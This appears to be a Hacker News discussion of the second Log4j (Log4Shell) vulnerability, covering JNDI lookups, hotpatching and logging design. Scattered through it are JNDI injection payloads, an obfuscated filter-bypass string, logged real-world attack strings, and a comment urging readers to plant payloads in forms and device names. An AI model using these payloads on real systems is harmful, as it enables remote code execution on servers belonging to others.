Log4Shell update: second Log4j vulnerability published
lunasec.io
lunasec.io
${jndi:ldap://hotpatch.log4shell.com:1389/a}
If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.
Source code is on GitHub here[0][1] if you want to host it yourself.
(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)
0: https://github.com/lunasec-io/lunasec/releases/
1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...
Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file.
There is a good talk on JNDI exploits in that[0] blog post if you want more details. :)
0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp...
1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options.
Blows my mind, but that's reality (apparently)!
Reality is a messy thing.
We have to accept that we will sometimes play digital archaeologist. That's a good thing! It means that the technology we're studying was successful. So given that, it's better to have out of date documentation than zero documentation, so that we can pick up the trail somewhere.
There were no logs to try and work out which processes needed to launch for it to do its job, causing several days of website downtime (not a simple website - dozens of interconnected services). We ended up taking the phone off the hook because we kept getting calls of "is it fixed yet?"
A hundred years later IT priests will demand human sacrifices to appease the server gods
Kernel patches were not on top of my head 15 years ago.
It's just a Java dependency that you add to your classpath. Under the hood, it regularly checks for patches, and then live updates to patch a vulnerability (like Log4Shell) without you ever needing to do anything. The Open Source release is still a WIP (the Golang one here is a subset) but we have some paying customers for it already. Log4Shell has really accelerated the number of people asking us for this though!
Edit: We're offering basically this[0] project but commercially supported and, when the next Log4Shell happens, it'll patch your usage automatically.
I remember seeing a framework for this kind of thing, i.e. using exploits to display warnings, hotpatch or otherwise patch servers back on Hackcon #1 in February 2006 in Oslo.
I think it was HP who presented it and I also can't remember hearing about it since and I think there are good reasons for that[1].
In this case however the advantages might actually outweigh the risks as long as it is done carefully.
[1]: others mention services or servers that no one know how to restart anymore.
This sounds properly terrifying. How do you even realise that you are in such a situation before it is too late?
The first part of that has been true at especially one place I worked though and while luckily he was still available it was still terrifying since he had left behind a proper Rube Goldberg machine. If he had been unavailable we would have had spent days and would probably just have had to recreate it from scratch (I watched him closely while he fixed it and it was a mix of at least from the top of my head: undocumented services, certificates that were expired, accounts with passwords that were unknown.)
I've also experienced to be the one that was called to because the IT manager remembered that I used to be the guy who knew how to fix a certain problem with Sybase Adaptive Server Anywhere. I had documented everything I ever knew and could think of about it but it turned out someone there had "cleaned up" a bit.
This happens a lot in the real (non-computer) world, too.
There are all kinds of mechanical things that were built without any thought that they might be turned off some day. Some are big things, like factories and refineries.
I first read about this (probably in the Times) some decades ago when old apartment buildings in NYC were starting to switch their heating to better/cheaper fuel sources. Some couldn't do it simply because the boiler systems were never designed to be turned off. Ever. They had no safe way of shutting the things down.
[0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
I'll finishing writing up the technical explanation tomorrow and publish that in a separate post. For now, I'm after some much needed sleep!
Good night, y'all. :)
Leading to more risk over time.
But there's no easy way to verify that none of them might depend on, say, Spring Boot Web Starter, which brings in umpteen other dependencies.
Sure, you can resolve dependencies in each project and check at the individual level that the resolved dependencies for runtime don't include log4j2 but it's much more onerous. And you can take away that risk by declaring it in your parent POM so the version is fixed, regardless of what transitive deps may use.
Of course, I would always say if this what was being done, using the dependencyManagement would be a better solution. But a lot of this work will be under duress and in my experience the majority of people using systems like Maven don't really understand it.
We were rarely vulnerable to CVEs mentioned by end users or pinged by our own internal tooling, but that wasn't the point.
The customers (a large percentage of Fortune 500) would just get pinged by their security teams. The customer would come to us, we'd say "yes, a patch is on its way" or "we've researched it, we're not vulnerable, it's fine".
(Our particular bit of product only had Java command line tools, but you never know what customers would do with them and whether they'd end up somewhere in a chain where those command line tools could be, deep down, kicked off from some user input on a public facing webpage).
Also the problem is that "we've researched it, we're not vulnerable, it's fine" often isn't good enough for the customer's internal security team, and our customers would just get hassled by them each time a scan was run.
We'd also spend a disproportionate amount of support time responding to "what about CVE-2021-xxxxx?" and arguing the case, even if it is just copy-and-paste the same old response again and again, it's still toil.
So, quite often, the easiest solution was to say "we've researched it, we're not vulnerable, but we're patching it anyway".
The problem with this approach is that you slowly build up a considerable number of third party packages that need to be version bumped each time you do a new maintenance release, and that puts quite a load on QA departments, etc.
Anyway, don't do that kind of thing any more and I certainly don't miss it.
I've gotta add a section on decompiling byte code but I'll finish adding it in the morning. It's close enough as-is to be informative to people, I think. Cheers, y'all!
BTW, the java code that actuanlly performs the patching : https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
Do you know whether you can trust them? Is their operations mature enough for handling the attacks they are guaranteed to receive? After all, a system receiving requests by folks suspecting they are vulnerable, makes a highly attractive target itself. In fact, I wouldn't be surprised if we see services of this kind provided by malicious actors.
Really, people should just update, or only use offline tools for analysis and mitigation like [1] which they can audit and run locally.
Force the user to restart everything if they need a plugin?
Or do you want to force developers to only ever write monolithic software now?
Yes. Hopefully ensures that only people authorized to actually restart the service can add arbitrary code.
In fairness, Java has had capabilities to only let signed code run since its early days (it was fundamental for stuff like Applets or RMI), but like the rest of Java the whole specification is over engineered and quite complicate so nobody bothers with it. There are just too many old features lying around in the JRE that should be off by default. Like they shouldn't be possible to use unless you explicitly configure your environment to enable them. 99.999% of apps do not need and will never care about JNDI, and having it just lying around doing nothing just pointlessly increases the surface attack of your application for no good reason.
Because Java supports naked sockets [1], so that is what you would have to do to block the network traffic from containing .class files.
(Or remove the capability of real networking. I suppose we can agree that a language which doesn't support networking is quite limited in its use nowadays?)
[1] https://docs.oracle.com/en/java/javase/16/docs/api/java.base...
1. You can write a raw socket, pull a class file, put it in the right place, and load it using classloaders (assuming they don't want to abolish dynamic class-loading)
and
2. The language has a conventional way of loading arbitrary classes over the network using the standard library.
Any turing complete language can download and execute code. Even if the language doesn't support it natively, you can write an interpreter that acts on some code/bytecode. However, some languages support hot-loading code over the network in a straightforward way, while others force you to do all the work yourself (with attendant limitations). In effect, those languages require you to take the gun, check that it is loaded, and very carefully point it at your own foot.
> Perl/Python/Ruby/PHP and friends all have eval()...
PS: eval() is also very bad per se, and IMHO it's a dangerous feature when used outside of a REPL or a debug environment. The fact that others already have bad features or are doing dubious things doesn't give you a free pass for doing them yourself. It never does, it's like saying that committing a crime is OK as long as everyone else does the same.
This whole thing exists because Java has basically kept around a way of pulling off something akin to
wget -O - someurl | sh
The fact that JNDI can pull random code from a server like that is absolutely nonsensical trash, no matter how one spins it.
Still, in Python you can GET and eval:
r = urllib.request.urlopen(url).read()
d = literal_eval(r.decode())
https://stackoverflow.com/questions/28047761/fetching-and-ev...
Edit: Apparently `literal_eval` isn't so dangerous -- but one could replace it with `eval()`. /Edit
But you didn't start writing "absolutely insane" about Python ... Or maybe Python too is insane? And there should be a separate Python executable, with eval included?
What if Python shipped 2 executables?
python # there's no eval()
python-with-eval # danger! now you can use eval()
By the way, you can do the same thing everywhere, nothing stops you from doing
system("sh -c \"wget -O - someurl | gcc -x c - && ./a.out\"")
Viceversa, the JRE includes and standardizes facilities to potentially download and execute code without any reasonable sandboxing by default, out of the box, in the standard install. It's as if Python had mandated by standard to check if the data passed to `eval()` is an HTTP URL in order to download and eval() whatever resides at that address. It's not the same by any margin. One thing is to shoot yourself in the foot by mistake , one other is to have in your toolbox a device that by design chops your feet off. The thing that bewilders me is that the whole "let's download untrusted .class files from the Internet" thing was a deliberate design choice and it took people 25 years to realize how idiotic it was. There's a whole sea of difference between that and what you've described.
r = urllib.request.urlopen(url).read()
d = literal_eval(r.decode())
r = urllib.request.urlopen(url).read()
logging.info(r.content)
If you've patched against Log4Shell, please read this to make sure you're not still vulnerable to this 2nd CVE. In some cases, you're still vulnerable depending on how you patched.
In response to this, Apache published log4j 2.16.0 to mitigate the bugs in prior versions (including 2.15.0, the release that was supposed to mitigate Log4Shell initially)
I think this should've happened from the beginning.
But I am wondering from a developer's perspective, it should be the first thing to do in my opinion.
Serious question: Suppose you need to replace user ids with user names in your Java program logs, instead of writing LDAP lookups around every log line everywhere, you have to put it in some module no? How about wrap the logging framework?
of course the fun bit from the 2nd vulnerability is that the MDC implementation could still get at JDNI because it was doing a second layer of formatting, so doing this opened you up to JDNI attacks again - but that is the technically-correct answer for how you do that in a logging framework imo. You don't do it on-demand in a filter, you do it once per thread/request when the thread is issued or the request is received and put the result into MDC. If "ownership" of the thread changes, then clear and update the MDC again.
The real problematic one that log4j2's JNDI support was originally implemented to solve, was "I have multiple WARs inside an application server, how do I know which one this log message came from" and that one is a bit tricker to answer generically. I think the lazy answer there would be to hardcode the application name into the logfile - just because it can be generated on the fly, doesn't mean it has to be, you can have a pattern that is like "[%d][myService][%level%]..." and myService is just a literal in the pattern. You can also get it programmatically from Spring or the JavaEE API itself somehow (don't know that one off the top of my head but I'm sure there's a way), and put it into MDC like other values... or put it in a service.properties file that also lists the service API version/etc (along with the short git commit and git commit time from git.properties built by gradle-git-properties, these are questions that people often end up asking when troubleshooting a service).
The annoying thing is, since it is evolving and attacks are spreading (and it has rightly gotten the attention of nearly everyone's IT department), we're hitting a stage where almost every customer is emailing daily asking for updates on mitigations based on evolving CVE discussions.
I'd rather people be over-vigilant rather than pass on it, but mitigation is taking a back seat to having to re-read and re-evaluate things multiple times per day, and communicate a lot more than usual to assuage people's nerves.
Chicken little eventually gets ignored.
The most humorous thing for me about this entire situation is that the way reporting is handle in many orgs is:
Central IT: Are we vulnerable in system X?
System owner: writes vendor
Vendor: No we are not vulnerable to that CVE, we are using Log4J V1
System owner: … the one that’s eol 2015, and has a bunch of other CVE’s including another RCE?
Vendor: yes
System owner:Are you going to issue an upgrade?
Vendor: No, we are not vulnerable to the latest CVE on V2 so we will not.
System vendor to central IT: They are using log4j V1, so not affected by the latest CVE, but we are vulnerable to other CVEs including RCE.
Central IT: Perfect, we’ll mark it down as no issues then, the Issue handling only covers the latest CVE.
So yes, a dumb scanner will whine, but intelligent users will see it's a false alarm.
Not sure though how I can make a difference when the vendor and manager seem to be buddies and any criticism of the tool falls on death ears.
Inches from just emailing the list of CVEs to someone way above my paygrade and letting the chips fall.
I'm not advocating for that attitude, it's just what I've observed.
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p} ...
I could have seen myself, not really a security person, thinking a filter on `jndi` would work too...
How many products use PdfBox right now? This github POC link is not even an hour old...
- The Maven entry for `PDFBox` does not list `log4j` as a dependency. However `commons-logging` is a dependency, and `log4j` is listed as an optional dependency there. https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/...
- The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.util.logging API included in the Java platform" https://pdfbox.apache.org/2.0/dependencies.html#minimum-requ...
- That exploit PoC explicitly adds `log4j` as a dependency https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L...
So, for others out there that find this: just because you're using `PDFBox` does not necessarily mean that you are also using `log4j`, and therefore likely vulnerable to this latest issue.
Regardless, we are still going to have to remove this because our customers are now on a warpath. Reasonable arguments and nuanced proposals are not going to be feasible for this one. For us, the situation has quickly evolved into "remove 100% of java dependencies from the solution stack". Our customers are super paranoid, but we can't really blame them this time. When the CTO of a bank can understand the exact mechanism that compromises their systems (because it is so trivial to pull off), things are a lot more painful to negotiate.
Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.
Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.
Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
How about an official name change to the above? Anyone game?
I mean, passwords shouldn't be coming anywhere near logging code... right?"
How many times have we heard of raw text passwords being saved in logs?
(yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...)
(I'm not condoning this, just saying that it can look sensible at the time)
are you running honeypot as white hat to attract "bad guys" to then flip the table?
if you're a black hat trying to do bad then you already don't care about morals, so the question is pointless.
I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.
Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most Log4j 2.x usage today. That's the history as I see it.
Had most developers not done Log4j 1.x -> SLF4J and instead waited for Log4j 2.x this problem would be much worse than it is; a vast number of small, neglected services would have had to be fixed. The thought that I'm having is now that the power of compromising these logging frameworks has been demonstrated the ransomware crews are going to look very hard at them and find more large holes.
However, it is right that log4j2 is not as ubiquitous as log4j1. Spring Boot, while using SLF4J, defaults to "logback", if I'm not wrong, which is another logging framework similar to log4j, but not affected with this kind of vulnerabilities.
I'm reminded of something Al Viro said long ago about the Linux kernel[1]
"Yes. So's sysfs, so's udev, so's hal, so's any number of revolting strings of intertwined copulating tapeworms hanging off the kernel's arse."
[1] http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02297.html http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02304.html
This is less than helpful if people use this and then believe they are safe.
https://blog.qualys.com/vulnerabilities-threat-research/2021...
Two reasons:
- Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w
- Microservices hell. - The advantage of microservices is that teams can deploy independently of each other. But many companies ended up with way too many of them. We have a few hundred. I suspect, many of them abandon. Their teams already moved to new things and noone knows how to deploy them. They haven't been deployed in a long time.
For example, we operate an information system we bought from a nationwide vendor. The primary application is not vulnerable. The admin interface is not vulnerable. The secondary application is not vulnerable. However, there's a reporting system from a third party that was provided to us. That is vulnerable. Now we have to wait for the third party to patch so that the vendor can patch so that we can patch.
Plus there's all the other things you find that are clearly stupid, but aren't immediately important. Like this:
C:\Program Files (x86)\Microsoft Visual Studio\2017\SQL\Common7\IDE\CommonExtensions\Microsoft\SSIS\150\Extensions\Common\Jars\log4j-1.2.17.jarPreach. As a consultant, I have been trying to implement continuous integration in a team and it has been so hard to convince project owners that delivering frequently and continuously to production behind feature flags is a net gain over accumulating "features" in dozens of branches that get outdated, poorly documented and even forgotten.
Some days the team crawls to snail pace trying to pick arbitrary branches to merge into integration branch. Then it takes days to be tested, adjusted, approved and merged into master. The process is so convoluted and cognitively loaded that it has been a major source of bugs.
They need better tests and continuous integration to become nimble.
Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.
1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process:
jndi:dns://ip.address.scanworld.net/ref
jndi:ldap://162.55.90.26/222xxxx905/C
jndi:ldap://195.54.160.149:12344/Basic/Command/Base64...
jndi:ldap://45.130.229.168:1389/Exploit
{${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64....
Surprisingly very few attempts via http calls, and while some are on default ports, most aren't.
I think most obvious attack methods will have been closed. It's the routes like "naming a rogue AP" method that will be interesting.
By the time software gets to the SaaS end user, it's giant rope-sized spaghetti noodles knit together with spaghetti thread spun from spaghetti fibers.
Security is the worst because most of our systems are only secure if every single line of running code is secure. In the face of exponentially increasing system complexity, this is a race we will always inevitably lose.
Nobody is questioning the benefits of structured logs here. The log library itself shouldn't be interpreting these logs. It's like a HTTP framework... triggering a printer, why the hell would it be doing that by default?
Seems to me that Log4j is doing to many things, including things it shouldn't be concerned with, as a log library.
The guy I replied to was literally saying we should only log plain text and that doing anything more complicated is "emblematic of the crisis the industry is in".
The attack surface is pretty low here, even though you're doing more than just printing to a file. There is no code injection because there is no programming language going on behind the scenes. (Of course, nothing is preventing you from writing a formatting function that compiles and runs a binary built from the log message. So you aren't intrinsically safe from stupid stuff.)
That, and Java does everything their own way. From bouncycastle crypto to db connectors to freakin JKS, it was very much NIH all the way down to an outsider. I actually worked for a time where half my job was converting JKS to PEM for customers.
Java isn't all bad, but could have used much stronger and much more conservative governance.
You can write productive stuff without having to import any third party packages at all. Everything you need is properly supported by the core team and written to the same standard.
In hindsight it’s easy to say that this was an overly ambitious project with vague goals but it made sense in 1995 when technology was revolutionizing everything and creating new domains and markets.
String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
Anyone have a link to the relevant log4j code?
Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...
> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.
So that's where the LDAP portion comes from.
This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.
Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)
Does that help?
This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome.
I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis)
1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential.
2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there.
Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary.
In any case, great write ups. I've enjoyed them.
The problem is lots of frameworks come with some pretty vulnerable classes. There are lists of 'serialization gadgets' for some potentially exploitable things if you can trigger a JVM to deserialize untrusted input.
100% this. The JVM itself is a huge, sprawling beast. Adding in an extra 1000 libraries makes that surface area 1000 times worse. There is probably a way to exfiltrate a list of loaded classes via the exploit. (I can't think of one, but I believe there's a good chance such a thing exists). You could also just try looking for one of the zillion known bad classes.
I wanted to highlight that you're really looking at a multi stage attack for RCE. DOS is trivial. Use all the memory, Make a zillion threads, force load libraries that don't exist. I'm only vaguely competent, and I'm pretty sure I can make that happen in half an hour. A full RCE is less, somehow. I can't quite express the difference in risk. As a half assed attempt, I could show a 14 year old how to take down a server in an hour or two, and as I said, I'm only vaguely competent. If you're looking for a full RCE, that would take me time. But over a week or two, I could probably figure it out and be able to explain it.
URL class loader seems like a promising vector. jars have static initializers as part of the manifest, I think I could put that together, eventually. And I suck. The risk is still huge. But like, bob's java shop isn't a target for the equation group. They probably have a day or two to figure it out and fix RCE issues. DOS issues, they're fucked. That's trivial.
I feel like with security stuff, awareness is 95% if the battle. So if people get excited and start thinking about how they'd implement a prototype themselves... that's pretty great. It gives me hope that perhaps this world of dependency hell that we're in right now might eventually go away.
I'm definitely a bit of an idealistic person as a dev. Maybe an optimist is the better word? I just want to try to fix these problems and hope that my contributions help. Sometimes it's brutal and exhaust and... this week has been an epic grind.
But that's what it takes to make a difference sometimes, and I'm glad y'all are appreciating the effort. Thanks for the kind words.
Note the classes aren't at fault or doing anything wrong (even though you could imagine other mitigations they could use), they are just conveniently there to use if you have a vulnerability that lets you de-serialize untrusted data.
If you are talking about original log4shell then no! Jndi will grab a class definition from ldap, load it and then deserialize it.
https://en.wikipedia.org/wiki/Arbitrary_code_execution
The attacker can inject an LDAP URL with their own malicious code into a vulnerable website, via a request, that then is logged with logj4. The logging library if vulnerable will actually download and execute this remote malicious code, just by the attacker submitting the bad input. Obviously the vulnerable website needs to be logging this request information.
If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending.
It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
Oh you tried to access wpadmin.php? IP gets banned. Too many failed ssh attempts? Banned. Tried to connect to mysql/postgresql? Not running but banned regardless.
I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)
I believe you can forgo even that; a vanilla server jar can be configured to run in "cracked" mode by setting 'online-mode' to false in server.properties. Skins won't work though, players will have steve/alex skins.
It's documented on the no-longer-official wiki here:
> online-mode - Server checks connecting players against Minecraft account database. Set this to false only if the player's server is not connected to the Internet. Hackers with fake accounts can connect if this is set to false! If minecraft.net is down or inaccessible, no players can connect if this is set to true. Setting this variable to off purposely is called "cracking" a server, and servers that are present with online mode off are called "cracked" servers, allowing players with unlicensed copies of Minecraft to join.
I guess this is still viable if you know everyone on the server and use a server plugin to auth.
Why would you have such a server on your home network and not in a DMZ?
https://www.spigotmc.org/threads/spigot-security-releases-%E...
Also, mojang's update instructions:
https://www.minecraft.net/en-us/article/important-message--s...
Edit: also, why was this feature requested in the first place?
PS: Don't post snarky comments on an 8-year old Jira ticket, please.
Can anyone show me a codebase that utilises this feature so we can see why?
Some background:
JNDI alone is fine. You want to load code remotely and run it? Fine. You can do that already in other ways. No issue with JNDI here, go ahead and use it on your server in a controlled way that doesn't involve user input.
Log4j has a 'routing appender' that can conditionally write to different logs depending on the content being logged. https://logging.apache.org/log4j/2.x/manual/appenders.html#R...
I can see a use to string match and send logs different ways.
Now unfortunately this patch flat out uses the 'routing appender' to look for incoming log statements with the pattern ${jndi:logging/context-name} and load that remote JNDI class.
This is such a terrible idea that doesn't pass the sniff test. The person who approved this should have simply read the description of what it does. After matching the pattern ${jndi:logging/context-name} it puts that match into a string 'key' and runs ctx.lookup(convertJndiName(key));
It's similar to someone submitting a patch that says "I want to run eval(user_input)". The only difference is that lookup(convertJndiName()) is a little bit obfuscated since it's not called eval(). I guess the review could be mistaken that it's harmless?. Still i think it's a bad smell. I'm worried for this project. It's probably worth going through everything that 'implements StrLookup' and seeing what they do in the 'lookup(final LogEvent event, final String key)' function. Both event and key are user generated content.
So, if you have defined a configuration variable app-name-for-logging, then you can look up:
java:comp/env/app-name-for-logging
The easiest implementation of this was just to allow generic JNDI lookups, which includes LDAP.
What i can't explain is why anyone would legitimately use this feature to make JNDI lookups. It should have been scoped to only lookups in java:comp/env, not arbitrary ones.
And of course, it's one thing to parse a jdni entry in a config setting, another to parse every single log message
"nice work ;)"
Also, good call on your PS. :)
Also recommended by Lunasec's mitigation guide: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-g...
Good luck with that.
You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
Which is why e.g. Germany does all elections solely on paper, and still has early results just an hour after the polls close and final results the next morning.
Making semi secure software that tallies digits somewhat correctly for the 90% of the time. And its mostly good enogh.
But for important things like elections, making software secure and robust enough is a lot harder (and trusting that it was done so even more) than just using paper.
Same way most of us are still wiping our ass with paper, even though there are some more technologically advanced toilets that probably clean you better.
It's such a bad idea that Tom Scott has not one, but two videos on it:
https://www.youtube.com/watch?v=w3_0x6oaDmI (Computerphile channel)
https://www.youtube.com/watch?v=LkH2r-sNjQs (his channel, more recent)
And also, if 20 people can handle ballots from 1000 people (no clue if that's realistic but it doesn't matter), then if you add another 1000 people.
Well... since you added people and the resource you need to count is people it's a self scaling solution. Sure you might need larger facilities, but we're not exactly running out of schools (another thing tied to the population).
The only reasons to make voting electronic are:
* To make money
* To commit election fraud
which is why I said there are no "good" reasons. :)
I remember when it first came out and couldn't think of a single use for it that couldn't be addressed in a cleaner way.
In the old days, programmers would write their own logging code. In the modern era, basically all operational environments want to get that logging data and tools like splunk and SIEM products use it for understanding how well services are running, looking for security problems, etc. Logs also need to be rotated, not overflow the hard disk, might need to be sent elsewhere. So for the combination of being easy to use but flexible to configure, something like log4j is perfect.
Basically all languages have something like log4j.
slf4j is also a popular java logging package. Sometimes slf4j and log4j are used together.
How would you do it "cleaner"? Write your own?
or maybe someone's fridge?
the future is bright
So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.
The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.
Python 3.10.1 (main, Dec 11 2021, 17:22:55) [GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(f"""{print("hello")}""")
hello
None
Presumably the { } has access to anything that's in scope.
(I'm not quite sure how common patterns are, but I assume the person is replying to is imagining a scenario where an attack is able to put some string payload into the { } before interpolation.)
>>> x=5
>>> print(x)
> there's an `eval` somewhere in Python's logger
So malicious actors is already shotgunning the log4sh attack so what stop them from spamming `{exec("import urllib.request;urllib.request.urlopen('http://example.com').read()")}` and see what stick.
While my example is for python im sure other languages will have similar issues and we will see a rise in format string attacks.
I up-voted all parties trying to prove me wrong, and someone already down-voted me(rightfully).
> o what stop them from spamming
Well I can't imagine how I would actually get that to turn into anything other than just a raw string that gets printed to the screen? Like I said, unless there's an eval somewhere it's not an issue.
edit: OK, I see the problem now. The flask article is a lot clearer.
The attacker can't control execution at all, or even really cause execution. What they can do is get your string to include information it should not - quite a footgun, but nothing close to RCE.
edit2: I maybe see a way this could be bad (if the attacker controls the format string that you call .format on), but I can't actually get it working myself.
So here's the thing. The attack as you've described does not work. Python won't just execute that string, you'll get a KeyError. What you need to do is, given a value provided to the string, call some sort of methods on that value such that you can perform your attack. This should be possible.
edit:
I'm trying to get this attack to work. So far, nah.
My assumptions are:
1. Attacker has full control over format string
2. `requests` is imported already (obviously you could just use the stdlib but I'm lazy)
3. An object or class is passed in
In theory I can construct a class from an object like this:
Foo.__class__('requests', (requests.Request,), dict())()
<Request [None]>
>>> "{0.__class__('requests', (requests.Request,), dict())()}".format(Foo) Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: type object 'Foo' has no attribute '__class__('requests', (requests'
It seems that Python does not just naively execute what's inside of this thing.
Similarly,
>>> "{0.__init__((lambda: requests.get('google.com'))())}".format(Foo) Traceback (most recent call last): File "<stdin>", line 1, in <module> AttributeError: type object 'Foo' has no attribute '__init__((lambda'
If there's a way to exploit this for actual code execution I can't find it easily.
For example:
>>> user_data='{print("helo"}}'
>>> print(user_data)
{print("helo"}}
>>> print(f"{user_data}")
{print("helo"}}
>>> print(f"user_data")
user_data
>>> print(user_data.format())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'print("helo"'
And as pointed out by another commenter my scenario is imaginary because user input needs to be passed to a f-strings. But I did update my original example with a tested `exec` because then you can import modules.
I do see my imaginary attack as low effort for a grey- or black-hat to automate and weaponize.
As mentioned/asked by parent, will we see mini renaissance of format string vulnerabilities, and I believe the answer is yes.
[0]: https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/
>>> def server(userdata):
... print("Your data:", userdata)
...
>>> value = f"Printing... {print('Eval!')}"
Eval!
>>> server(value)
Your data: Printing... None Calendar date = Calendar.getInstance();
PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8");
ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8"));
"It does more than that..." I hear you mutter... yes it does more than that!
Please build something that you are responsible for.
From scratch and with minimalism as a guideline.
Using only an OS and a programming language.
In the end, you implement a subset of log4j, just worse. What you should have looked at is one of the lighter logging libraries and use slf4fj to switch them out if you need more.
And yes, slf4j would be a proper solution, if it were the default.
I am not sure I ever saw a minimal Java program (but I am not a Java programmer, so maybe it is just my limited perspective).
Minimal only makes sense within one language ecosystem. Java tends to be more verbose than some other languages, I guess that is common knowledge.
"Don't hate the player, hate the game."
[1] http://iam.georgecox.com/wp-content/uploads/2021/12/wirth-a-...
So with the fun bit of flatpack you have to look at all of your dependencies and see if they are somehow sneaking that bad boy in. Luckily most just use pom depends and just pull the jar in and you can override at the top level.
When one needs to respond without delay to an vulnerability being exploited in the wild, being up-to-date with other dependencies means that you need only pay attention to the one with the security flaw. Pay in small instalments over time or pay in one large hit (at the least convenient time, obviously...), but there is no avoiding it.
In an age where random code is downloaded from the internet on trust and included in projects on a whim without inspection, it's noteworthy that people don't use the very same features to keep aggressively up to date. (The reason is that the long-term benefit of doing so is not immediately obvious to the most influential stakeholders of a project.) Sic transit gloria mundi.
Separation of concerns. Keeps infrastructure details out of your app and is more likely to at least leave a trace on disk in case the central logging goes south, when you need it the most.
On demand changing of log levels is still something worth keeping in application, depending on your verbosity volumes.
But sure, take this reasoning too far and you end up with micro service spaghetti, so some balance is needed.
After all I think Java isn't that bad but all this legacy stuff needs to be dropped.
Do you still want to build something from scratch and maintain it yourself? Or would you rather not waste weeks of your time reinventing something that already exists and that other developers are already familiar with?